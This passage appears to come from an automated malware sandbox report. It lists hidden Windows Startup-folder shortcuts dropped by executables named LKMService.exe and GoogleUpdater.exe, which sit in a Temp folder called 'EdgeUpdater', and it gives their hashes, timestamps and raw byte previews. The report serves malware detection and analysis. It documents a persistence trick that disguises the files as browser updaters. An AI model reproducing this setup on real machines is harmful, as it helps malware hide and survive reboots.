Preview:	L..................F...."......P..."..3P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9fa69efc61d8406e9ae080ac03b2ddac.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:52 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941947859368059
Encrypted:	false
SSDEEP:	24:8pvRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pvRBr1R8AZjvgTyF
MD5:	A701206318FF3DB00998DE8C18A2C0F6
SHA1:	78C0857080BB9F306164545716D04B640211A06E
SHA-256:	09A2206086C72A7124071099EEC26846C38555F7058E22EF23164CC6331B3F76
SHA-512:	F4F621605CE2415991945869C77666370E3E3FDDB4551EDB1CC621797E9DBA32F6569F092B8BF57C5967F6557FFC82C8DDFA6B59CA5D83846373E5B231DFFB12
Malicious:	false
Preview:	L..................F...."......P...>9..P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9fdd6a820df34e0eb28e36d0925da6c6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:33 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.943328004535486
Encrypted:	false
SSDEEP:	24:8pjORkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pjORkr1R8AZjvgTyF
MD5:	45A58CA98C4BA9B9D1AE852496EB264F
SHA1:	19C217405E37A75EA8C5FF77E2C14864147CBB16
SHA-256:	9A20F5D8EBFDFFED3E704CF9A67E282C509A4E619823A5AC6F7526C0695DC81E
SHA-512:	85A53FC36CFABA6B1141106335A58891FB326F09E3BD17695341CA5E46F14A759A5573474E00D3E1A355033E774C60A8E9DD94CAE82FFA6B5165A74E5E3AA770
Malicious:	false
Preview:	L..................F...."......P....~.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9fe90a3eb53548088fb8d5fcf5dccd44.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:19 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.945323386794221
Encrypted:	false
SSDEEP:	24:8pqRBx/eYl1RogKrA5+W8Ajfv/42egvqyFm:8pqRBx/r1R8AZjvgTyF
MD5:	465988AEDDDD88B8A04ADC50E783946A
SHA1:	D666BBB950C934EC7C649BF6B19E825E909D482A
SHA-256:	82DBB84C27B7F319A3161204B752946A4A66B85A8B5C5EE77ED77DB584FA3458
SHA-512:	BB228379E11914B96C3BA7D707CBAA26EFEFDF3906F6BFF345CE82090B22C8474426AB39262816DB0D0E2884E5FDA62D2AA40D6A303F64E9D934173F6221B64D
Malicious:	false
Preview:	L..................F...."......P......qP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......qP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_a3578f11b7fb408c9f12c011070ccf44.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:22 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940758062292771
Encrypted:	false
SSDEEP:	24:8pORjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pORjr1R8AZjvgTyF
MD5:	1C6FAC04AC62E9700B14D4AD32413BD8
SHA1:	108C3ADF53F2B92714C8AB273ED047D5D05D3B0C
SHA-256:	43C5A98638CC38BD7A3135BB4096FC57D6D0A06A2D1C4957CE2E64A0B73AD67B
SHA-512:	4AD6BCD77D2330DFFF0EF2EB1F8C22DD19AE4BD550F94CF23C3D2D6227BF8AFD61E69DFA58D5253170F3F61853C3F3E54D96C3622DF343B545FF9C45F641520A
Malicious:	false
Preview:	L..................F...."......P..../),P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_a48a60e92d6d49858ff57468d0ccb13b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:10 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.943306205759989
Encrypted:	false
SSDEEP:	24:8psRheYl1RogKrA5+W8Ajfv/42egvqyFm:8psRhr1R8AZjvgTyF
MD5:	9DFF94BE829B3A16E1EBCC186F249625
SHA1:	A1129A85C573486E78771D5694F492D03749E38E
SHA-256:	E03F3F209F012A999530D4CF785C87C1FCCC8963D5B3F55D2530629F70D2D70B
SHA-512:	97CD9730EBDFC28ADC260B69A1EB157DC36C2C3DAC52BAB9D324156E361FF63E524F3CF92216E005D74CA5ACDF1B3E8EFAEF8BEB7E8E6BD018C5F40BA940EDD1
Malicious:	false
Preview:	L..................F...."......P.....+IP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....GP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_a5265f5a68b342f2a3967949eb8a1dc0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:38 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938999536521373
Encrypted:	false
SSDEEP:	24:8poXRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8poXRjr1R8AZjvgTyF
MD5:	1909DA6B1A03A7CA356824D629CA8DE1
SHA1:	EA9EA99744B2444C2490DF900EBAB08EB31B9C3A
SHA-256:	E26D7A68932A8090E21C206A00035114CE25BA8ACF00B8F361839DDE89DA52B2
SHA-512:	956F9823BE5BCDA17B5844EE5DFF0725F4E106223CB3519A7D8DDA5D3466EB33F2CF4ED1C5FD06BF8F2C72C67076C1B797985A0676687690F338492904D22E15
Malicious:	false
Preview:	L..................F...."......P......6P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_a79d86293eaf46ee8d360f284e34f44f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:59 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9372629488327915
Encrypted:	false
SSDEEP:	24:8p/RjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p/Rjr1R8AZjvgTyF
MD5:	6FB938F27601E9E66BAC6061A0BF7524
SHA1:	A40E4BE807FFEECB790BC4488A0B01469AB245E1
SHA-256:	E4695C878ABDECFC9D6A79FF0C6E06723CD915170DE887A68ADAD518129260EC
SHA-512:	3C5195557D58B99A46C004834DD00D922F3BEF1333F40565C81A0A3B961B02BD29D6FA6522C1C720D3D40FC6F44499516E2D083A447F1ACA9C0CBB7AFCC74287
Malicious:	false
Preview:	L..................F...."......P....<dBP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_a99a1993b439401f8f9f511e8b1cab25.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:47 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	modified
Size (bytes):	1185
Entropy (8bit):	4.935957032901707
Encrypted:	false
SSDEEP:	24:8poRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8poRkr1R8AZjvgTyF
MD5:	AC829DDE3E683FD88E75E0744AD744BE
SHA1:	6758D05EAB256EBFD19215E51F1282C9CB29DB89
SHA-256:	16C7180693B19250552CB234A0CA985719BBC85153F208F6F1A13DB1EF4BCF38
SHA-512:	D2A0016F80999DCAA731F5CE3D66352B0D6DF6A4BCBA53D93A0341299AAE463BB172E5E45020591F754613AA5A4C1A94CA4DEA17668282FB38941C16BADC974B
Malicious:	false
Preview:	L..................F...."......P...5r..P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_aa4c217e90064fdba31aee42ef5f94e3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:55 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9385370205664
Encrypted:	false
SSDEEP:	24:8pefRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pefRjr1R8AZjvgTyF
MD5:	B2ACCBC53887709BB73EA34E802AE95A
SHA1:	2C2777F1F962BE73B6F2D017E4FA1B3A2B344803
SHA-256:	50310F6360D61F09EB8DDDF262D0263A12FA3B4A424EB08FA84F7CB6FB466503
SHA-512:	051CB0F429952C87908BA36D871C377FEBA4BD2D5B54B0D4D5A674974F258F1B50C1E28E941B4FFC5143C7B1F50D02A5D90A7CA01A2A3A183D195D28EBE489CA
Malicious:	false
Preview:	L..................F...."......P......P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ac1ef3cc13134c499fb23787e8ff5888.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:41 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94869891422038
Encrypted:	false
SSDEEP:	24:8pcR9eYl1RogKrA5+W8Ajfv/42egvqyFm:8pcR9r1R8AZjvgTyF
MD5:	5E637F6950C834F9B0FC11817989A914
SHA1:	E72B3C461F65B820D528ED9BB611ADBB88D8C18F
SHA-256:	21CA0290D2F6179FE9EB6EACDB4EAE57BC56388975EB6EA3643B231F13D7D0D8
SHA-512:	D3FAC651C0C98E11297DB05E64F9C6E717CC20EF22F6B4BD33C8B7A5993F6DF5842678D0F6DB5BE9D8ACB230058BAD22192F5AB469584299685C8987803FBA06
Malicious:	false
Preview:	L..................F...."......P......[P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...R.,[P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_b1c891a87f2a424090032bbca24d6957.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:08 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.936127946328194
Encrypted:	false
SSDEEP:	24:8p0RheYl1RogKrA5+W8Ajfv/42egvqyFm:8p0Rhr1R8AZjvgTyF
MD5:	597448EA8F9318A50C54866276A1D095
SHA1:	2C6F2B48B49A2FCB8F8290DFC3CDCEDDF7B33C91
SHA-256:	CF7023F12FA9B57562AF6BDDDE19B665687B9E9D19759BF4B28E63C7A9FFA0CC
SHA-512:	E721737D7920A40D4019156C3955686A03B1E56BC24322E51863B7B6E5F328A0997D7B48C72FEFE2A33091D6305ED8885867DAAC0F85538F20FC42EEB49C9604
Malicious:	false
Preview:	L..................F...."......P.....GP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....GP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_b37c7c98fe524dcca19f991542895064.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:03 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.942892513780519
Encrypted:	false
SSDEEP:	24:8phRSCeYl1RogKrA5+W8Ajfv/42egvqyFm:8phRzr1R8AZjvgTyF
MD5:	FA918C5CDA7E39853E680D9881F21173
SHA1:	6671F735726E61355BDE79F8A836E63DF0A890DE
SHA-256:	F3A66A13E849FB9F2B3468055727125111D329EBAE1A042D1DFA0A12737B71BC
SHA-512:	DAC59ECA7703F24D522CDE4BDC7FCD6E05BFC9095AACACBE738C3F36740E2E4AB4AEB52040B45188A112C78AA02B3143A549B6F56463875E6161CD240C8894C6
Malicious:	false
Preview:	L..................F...."......P....+.hP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......gP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_b468a5a753b74bc88784ee58a23f7452.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:24 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9403503409084895
Encrypted:	false
SSDEEP:	24:8pzRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pzRkr1R8AZjvgTyF
MD5:	5400CDF43EBF3B0AEC894D7A4DBEB6D7
SHA1:	4699227971EDE99ED34356ABB206ABA922C68B14
SHA-256:	E9F605B8E41E3909816315F8C1A950F04BDFD645DBADC2CDEFCA302609A9960F
SHA-512:	652F87C65B9EF790A557F8F514BF7F27E91BF57DDE8D8F6965F4A381ADA6E66BD81EA2C475D82D4D5D809F7BA6002AC28683253223753E2F2EF39EEBE284B8F3
Malicious:	false
Preview:	L..................F...."......P...4O..P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i